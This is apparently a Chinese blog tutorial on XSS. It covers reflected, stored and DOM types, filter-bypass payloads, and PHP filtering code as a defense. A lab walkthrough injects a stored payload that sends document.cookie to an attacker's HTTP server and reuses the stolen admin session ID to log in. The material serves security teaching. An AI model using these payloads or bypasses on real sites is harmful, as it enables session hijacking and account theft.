XSS 跨站点脚本漏洞详解

文章目录

  • 漏洞概述
  • XSS漏洞原理
  • xss漏洞危害
  • xss漏洞验证
  • XSS漏洞分类
    • 反射型
    • 存储型
    • DOM型
  • 固定会话攻击
    • 原理
    • 简单xss注入复现
  • XSS 攻防
    • xss构造方法
      • 利用标签符号<>
      • 事件响应
      • javascript伪协议
      • 其他标签
    • XSS 变形方式
      • xss防御
        • 黑白名单策略
        • 输入过滤
      • 防御DOM 型XSS
      • 过滤代码
      • 测试代码
    • 案例
      • XSS 盲打

漏洞概述

​ 跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击,攻击者可以在合法网站或 Web 应用程序中执行恶意脚本。当 web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生 XSS。由于与SS(Cascadinq style sheet) 重名,所以就更名为 XSS。
​ XSS 作为 OWASP TOP 10(2017)内容之一,主要使用 Javasript 来完成恶意攻击的行为JS 可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS 攻击“想象”空间非常大。也就是说Js强大的灵活性和功能,为XSS 攻击提供了非常广阔的攻击面

XSS漏洞原理

​ XSS通过将精心构造的代码(Javascript)注入到网页中,并由浏览器解释运行这段 JS 代码,以达到恶意攻击的效果。当用户访问被 XS 脚本注入过的网页,XS 脚本就会被提出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。整个 XSS 攻击过程,涉及三个角色:

  • 服务器
  • 攻击者
  • 客户端浏览器用户

在这里插入图片描述

一般收集用户输入的地方存在xss代码注入

这种脚本工具是需要客户端用户来触发 ,属于被动盲打

xss的攻击目标是客户端浏览器用户,由于浏览器类别不同部分攻击效果也不同,甚至于同一款浏览器,攻击效果都不

xss漏洞危害

xss是利用js代码实现攻击

  • 盗取各种用户账号
  • 窃取用户 Cookie 资料,冒充用户身份进入网站
  • 劫持用户会话执行任意操作
  • 刷流量,执行弹窗广告
  • 传播蠕虫病毒

xss漏洞验证

通过简单的js代码进行验证漏洞的存在性

<script>alert(/xss/);</script>
<script>confirm(/xss/);</script>
<script>confirm('xss');</script>
<script>prompt('xss');</script>

XSS漏洞分类

反射型

非持久性、参数型的跨站脚本,不会一直存在的,反射型xss代码在web应用参数中比如搜索型

反射型xss代码出现在keyword参数中

简单测试xss注入

<script>alert("xss");</script>

存储型

​ 持久性跨站脚本。持久性体现在 XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中

DOM型

​ DOM 型 XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的 DOM 树而执行的。特殊的地方就是攻击代码(payload)在浏览器本地修改 DOM 树而执行,并不会将 paylod 上传到服务器,这也使得 DOM 型 XSS 比较难以检测。

固定会话攻击

原理

​ 用户会话令牌利用 Cookie 来实现的,Cookie 是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险。
​ 可以利用 XSS攻击窃取到浏览器里的 Cookie 信息

​ 由于 XXS 触发需要浏览器客户端用户(受害者)参与,攻击者不清楚何时何地会发漏洞,这个过程一般被成为 XSS盲打。

xss环境 https:?/xss.pt

简单xss注入复现

  1. 开启在攻击机上开启HTTP服务

  2. 在受害机上的有xss注入的web网页里的输入框插入payload

    <script>document.write(\'<img src=\"http://开启http服务的ip/\'+document.cookie+\'\"width=0 height=0 border=0/>\')\;</script>
    

    \是用来转义字符的转义

XSS 攻防

xss构造方法

如何触发xss

利用标签符号<>

构造html标签语句让服务器执行标签语句

比如:

<img src=https://tse2-mm.cn.bing.net/th/id/OIP-C.6szqS1IlGtWsaiHQUtUOVwHaQC?pid=ImgDet&rs=1>  //随便一个图片地址

在这里插入图片描述

发现执行了

事件响应

通过html事件来进行弹窗验证

事件类型说明
window 事件对window 对象触发的事件
Form 事件HTML 表单内触发的事件
Keyboard 事件键盘事件
Mouse 事件鼠标事件
Media 事件由多媒体触发的事件
<img onmouseover = 'alert(/dont touch me!/)' src = > //利用鼠标停留事件进行弹窗<input type = 'text' onkeydown = 'alert(/xss/)'> //按一下按键触发<input type = 'text' onkeyup = 'alert(/xss/)'>

javascript伪协议

javascript:alert(/xss/)

javascript代替了http://相当于访问了一个网页

那么就可以利用a标签进行弹窗

<a href = javascript:alert(/xss/) >click me!</a><img src = "javascript:alert(/xss/)">

其他标签

<svg onload='alert(/xss/)'><input onfocus=alert(/xss/) autofocus> 光标停留触发

xsspayload:

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

XSS 变形方式

  1. 使用关键字双写

    • <scr<script>ipt> </script>
  2. 大小写拼接

  3. 利用hrml事件使用其他标签

    <img src=# οnerrοr=alert(“xss”)>

  4. 如果将on过滤掉的话就进行拼接或双写完成html事件

  5. 使用sctipt伪协议

  6. 对script伪协议进行转码

字母ASCII 码十进制编码十六进制编码
a97&#97;&#x61;
c99&#99;&#x63
e101&#101;&#x65;

将javascript全部转换

<a href='&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/
xss/)'>click me!</a>

或者进行其他编码:

  • utf-8 编码
  • utf-7 编码
  1. 插入其他字符

    • 可以将以下字符插入到任意位置

      字符编码
      Tab&#9;
      换行&#10;
      回车&#13;
    <a href = 'j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!</a>
    
    • 在头部插入以下字符

      字符编码
      SOH&#01;
      STX&#02;
    <a href = '&#01;&#02;j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!
    </a>
    
  2. 可以从引号下手

    • 不使用引号
    • 使用双引号
    • 使用单引号
  3. 可以使用/代替空格

    <Img/sRc='#'/OnErRoR='alert(/xss/)'>
    
  4. 将代码拆分成多段

<script>eval(alert(/xss/))</script>
<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script>

xss防御

黑白名单策略

不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:

  • 黑名单:非允许的内容

  • 白名单:允许的内容

XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果。

输入过滤

输入验证:对用户提交的信息进行“有效性”验证。

  • 仅接受指定长度;
  • 仅包含合法字符;
  • 仅接收指定范围;
  • 特殊的格式,例如,email、IP 地址。数据消毒:过滤或净化掉有害的输入。

防御DOM 型XSS

避免客户端文档重写,重定向或其他敏感操作。

过滤代码

$keywords = str_replace("<script>", "", $keywords);   //在keywords里面搜索script关键字将script标签替换为空过滤script标签$keywords = preg_replace("/<script>/i", "", $keywords);		//通过正则匹配替换将script标签匹配所有大小写过滤为空$keywords = preg_replace("/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", $keywords); //通过贪婪pei'p将所有script替换为空防止双写$keywords = str_replace("on", "o_n", $keywords);   //过滤html事件$keywords = preg_replace("/on/i", "o_n", $keywords); //将on进行过滤并限制大小写$keywords = str_replace("<", "", $keywords);  //把<>标签进行过滤$keywords = str_replace(">", "", $keywords);  //把<>标签进行过滤$keywords = htmlspecialchars($keywords);    //将输入的HTML 编码转为HTML 实体编码。echo $keywords;

在这里插入图片描述

测试代码

<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

案例

XSS 盲打

利用存储型XSS获取cms 网站后台管理员Cookie攻击者登录后台
攻击机开启http服务
在这里插入图片描述
访问cms网站在留言板进行留言并插入储存型xss注入
<script>document.write(\'<img src=\"http://10.9.47.241/\'+document.cookie+\'\"width=0 height=0 border=0/>\')\;</script>
在这里插入图片描述
在这里插入图片描述
注入成功模拟目标机管理原进行登录
在这里插入图片描述
登陆成功访问留言管理页面
在这里插入图片描述
返回http服务查看cookie已经获取到了
在这里插入图片描述
将他写入到浏览器就可以直接登录了
document.cookie=“username=admin”
document.cookie=“userid=1”
document.cookie=“PHPSESSID=fhs6pphep0ru6b74kclkugl7s5”
在这里插入图片描述
直接访问管理员页面登录成功
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/171428.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Network(一)计算机网络介绍

一 计算机网络 1 概述 什么是计算机网络&#xff1f; 硬件方面:通过线缆将网络设备和计算机连接起来 软件方面:操作系统&#xff0c;应用软件&#xff0c;应用程序通过通信线路互连 实现资源共享、信息传递、增加可靠性、提高系统处理能力 2 网络与云计算 3 计算机网…

APP备案获取安卓app证书公钥获取方法和签名MD5值

前言 在开发和发布安卓应用程序时&#xff0c;了解应用程序证书的公钥和签名MD5值是很重要的。这些信息对于应用程序的安全性和合规性至关重要。现在又因为今年开始APP必须接入备案才能在国内各大应用市场上架&#xff0c;所以获取这两个值成了所有开发者的必经之路。本文将介…

Xilinx Artix7-100T低端FPGA解码MIPI视频,基于MIPI CSI-2 RX Subsystem架构实现,提供工程源码和技术支持

目录 1、前言免责声明 2、我这里已有的 MIPI 编解码方案3、本 MIPI CSI2 模块性能及其优缺点4、详细设计方案设计原理框图OV5640及其配置权电阻硬件方案MIPI CSI-2 RX SubsystemSensor Demosaic图像格式转换Gammer LUT伽马校正VDMA图像缓存AXI4-Stream toVideo OutHDMI输出 5、…

计算机视觉:使用opencv实现银行卡号识别

1 概述 1.1 opencv介绍 OpenCV是Open Source Computer Vision Library&#xff08;开源计算机视觉库&#xff09;的简称&#xff0c;由Intel公司在1999年提出建立&#xff0c;现在由Willow Garage提供运行支持&#xff0c;它是一个高度开源发行的计算机视觉库&#xff0c;可以…

阿里云国际站:应用实时监控服务

文章目录 一、阿里云应用实时监控服务的概念 二、阿里云应用实时监控服务的优势 三、阿里云应用实时监控服务的功能 四、写在最后 一、阿里云应用实时监控服务的概念 应用实时监控服务 (Application Real-Time Monitoring Service) 作为一款云原生可观测产品平台&#xff…

数据库 并发控制

多用户数据库系统&#xff1a;允许多个用户同时使用同一个数据库的数据库系统 交叉并发方式&#xff1a;在单处理机系统中&#xff0c;事务的并行执行实际上是这些并行事务的并行操作轮流交叉运行 同时并发方式&#xff1a;在多处理机系统中&#xff0c;每个处理机可以运行一个…

No200.精选前端面试题,享受每天的挑战和学习

🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云课上架的前后端实战课程《Vue.js 和 Egg.js 开发企业级健康管理项目》、《带你从入…

centos利用find提权反弹shell

需要说明的是利用find命令进行提权的方式已经不存在了&#xff0c;因为Linux默认不会为find命令授予suid权限&#xff0c;这里只是刻意的制造出了一种存在提权的环境 首先我们先介绍一下find命令&#xff0c;find命令主要用来在Linux中查找文件使用&#xff0c;它可以进行最基础…

html5 初步了解

1、html5 含义 简而言之&#xff0c;html5 其实就是新的一代html标准&#xff01; 2、html5的优缺点 优点 语义化html 增加了很多语义化的标签&#xff0c;让html结构更加清晰&#xff0c;更具可读性由于增加了很多语义化的标签&#xff0c;对SEO更加友好 缺点 其他主流浏…

node插件MongoDB(四)—— 库mongoose 的个性话读取(字段筛选、数据排序、数据截取)(四)

文章目录 一、字段筛选二、数据排序三、数据截取1. skip 跳过2. limit 限定![在这里插入图片描述](https://img-blog.csdnimg.cn/c7067b1984ee4c6686f8bbe07cae9176.png) 一、字段筛选 字段筛选&#xff1a;只读取指定的数据&#xff0c;比如集合&#xff08;表&#xff09;中有…

如何在电脑和手机设备上编辑只读 PDF

我们大多数人更喜欢以 PDF 格式共享和查看文件&#xff0c;因为它更专业、更便携。但是&#xff0c;通常情况下您被拒绝访问除查看之外的内容编辑、复制或评论。如果您希望更好地控制您的 PDF 或更灵活地编辑它&#xff0c;请弄清楚为什么您的 PDF 是只读的&#xff0c;然后使用…

微信小程序:仅前端实现对象数组的模糊查询

效果 核心代码 //对数组进行过滤&#xff0c;返回数组中每一想满足name值包括变量query的 let result array.filter(item > { return item.name.includes(query); }); 完整代码 wxml <input type"text" placeholder"请输入名称" placeholder-styl…